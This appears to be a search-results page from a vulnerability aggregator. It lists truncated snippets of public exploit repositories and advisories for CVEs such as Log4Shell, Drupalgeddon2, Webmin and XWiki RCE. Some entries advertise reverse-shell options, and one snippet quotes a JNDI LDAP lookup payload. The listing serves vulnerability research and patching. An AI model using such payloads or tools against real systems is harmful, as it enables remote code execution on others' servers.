321151 matches found
DocViewerExploitApp
DocViewerExploit App - CVE-2021-40724 This is the source code to exploiting the Document Viewer by MobileHackingLab. About the Vulnerable App This is an exploit app for the MobileHackingLab DocumentViewer Abdroid App Dynamic Code Loading RCE challenge. This challenge emulates CVE-2021-40724...
CVE-2026-10818
CVE-2026-10818 WPForms Pro = 1.10.1.1 - Unauthenticated Arbitrary File Write via Chunked Upload Init/Finalize Ordering CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — Unauthenticated Arbitrary File Write via Chunked Upload Proof-of-Concept Exploit Chunked Upload Init/Finalize Ordering → Predictable Path...
CVE-2019-15107-Webmin-RCE-PoC
CVE-2019-15107 Webmin RCE PoC A Python proof-of-concept exploit for CVE-2019-15107 - an unauthenticated remote code execution vulnerability in Webmin versions 1.890 through 1.920. Description This vulnerability exists in the /passwordchange.cgi endpoint of Webmin and allows unauthenticated...
CVE-2021-44228-Apache-Log4j-Rce
CVE-2021-44228Apache Log4j Remote Code Execution） all log4j-core versions =2.0-beta9 and Do not rely on a current Java version to save you. Update Log4 or remove the JNDI lookup. Disable the expansion seems a pretty bad idea anyways. Bypass rc1 For example: $jndi:ldap://127.0.0.1:1389/ badClassNa...
Drupalgeddon2
CVE-2018-7600 | Drupal 7.58 / 8.3.9 / 8.4.6 / 8.5.1 - 'Drupalgeddon2' RCE SA-CORE-2018-002 Inspired from https://github.com/dreadlocked/Drupalgeddon2 Supports: Drupal 8.3.9 / 8.4.6 / 8.5.1 user/register URL, attacking account/mail & postrender parameter, using PHP's passthru function Pending Yet ...
LayarKacaSiber-CVE-2021-41773
CVE-2021-41773 - Apache HTTP Server 2.4.49 How to Run the CVE-2021-41773-Path Traversal Lab 1. Install and run Docker on your PC/Laptop 2. Clone this GitHub repo 3. Go to the Path Traversal folder 4. Run the following commands docker build -t cve-2021-41773-path-traversal . and docker run --rm -d...
CVE-2021-40904
CVE-2021-40904 - RCE via CheckMk's Dokuwiki embedded application Application: CheckMK Management Web Console Software Revision: From 1.5.0 to 1.5.0p25 Attack type: RCE Solution: Upgrade to version 1.6 or higher. Summary: The web management console of CheckMk Raw Edition versions 1.5.0 to 1.5.0p25...
salt-rce-scanner-CVE-2020-11651-CVE-2020-11652
1 What is it? Scanning tool to test for SaltStack vulnerabilities CVE-2020-11651 & CVE-2020-11652. The vulnerabilities allow an attacker who can connect to the "request server" port to bypass all authentication and authorization controls and publish arbitrary control messages, read and write file...
CVE-2022-26134
CVE-2022-26134 ATLASSIAN-Confluence RCE Installation git clone https://github.com/kelemaoya/CVE-2022-26134.git cd CVE-2022-26134 pip3 install -r requirements.txt Usage Single URL pocsuite -r ../CVE-2022-26134.py -u url --verify Batch URLs pocsuite -r ../CVE-2022-26134.py -f url.txt --verify...
CVE-2026-25212
CVE-2026-25212 – Percona PMM RCE PoC Critical – CVSS 9.9 – Authenticated Remote Code Execution in PMM 3.7. Description This proof‑of‑concept exploits a vulnerability where an internal PostgreSQL user in PMM retains 'SUPERUSER' privileges. An authenticated attacker with 'pmm-admin' rights can abus...
cve-2025-24893-poc
CVE-2025-24893 — XWiki Unauthenticated RCE PoC Proof-of-Concept exploit for CVE-2025-24893 , a critical unauthenticated Remote Code Execution vulnerability in XWiki. This exploit abuses a Groovy template injection in the SolrSearch endpoint to execute arbitrary commands — including reverse shells...
CVE-2025-3248
CVE-2025-3248 Remote Code Execution using vulnerable API endpoint Proof of Concept. Info: ⚠️ Use this at your own risk! ❓ Added option to reverse shell. ✅ Auto retry if validatecode is off. Showcase Usage python CVE-2025-3248.py / python3 CVE-2025-3248.py Footprint By using this tool, you agree...
PT-2026-111980
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network...
PT-2026-111985
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network...
PT-2026-112362
Name of the Vulnerable Software and Affected Versions Windows CD-ROM Driver affected versions not specified Description An untrusted pointer dereference in the Windows CD-ROM File System Driver allows an unauthorized attacker to execute arbitrary code remotely over a network. Recommendations At t...
Microsoft Edge’s vulnerability, related to the ability to utilize memory after deallocation, allows attackers to execute arbitrary code.
The vulnerability of Microsoft Edge relates to the ability to utilize memory after it is freed. Exploiting this vulnerability could allow a remote attacker to execute arbitrary code...
The vulnerability of the Next.js software platform for creating web applications stems from an improper restriction on the path name to the directory, allowing a hacker to execute arbitrary code.
The vulnerability of the Next.js web application development software platform is related to an incorrect limitation on the path name to the directory. Exploiting this vulnerability allows a malicious actor to execute arbitrary code remotely...
PT-2026-112019
Name of the Vulnerable Software and Affected Versions Microsoft Windows Codecs Library affected versions not specified Description An integer overflow or wraparound occurs in the Microsoft Windows Codecs Library. This flaw allows an unauthorized attacker to execute arbitrary code over a network...
PT-2026-112420
Name of the Vulnerable Software and Affected Versions Microsoft.WindowsDesktop.App.Runtime.win-arm64 versions 11.0.0-preview.1 through 11.0.0-rc.1 Microsoft.WindowsDesktop.App.Runtime.win-x64 versions 11.0.0-preview.1 through 11.0.0-rc.1 Microsoft.WindowsDesktop.App.Runtime.win-x86 versions...
PT-2026-112174
Name of the Vulnerable Software and Affected Versions Microsoft.WindowsDesktop.App.Runtime.win-arm64 versions 8.0.0 through 8.0.31 Microsoft.WindowsDesktop.App.Runtime.win-arm64 versions 9.0.0 through 9.0.20 Microsoft.WindowsDesktop.App.Runtime.win-arm64 versions 10.0.0 through 10.0.12...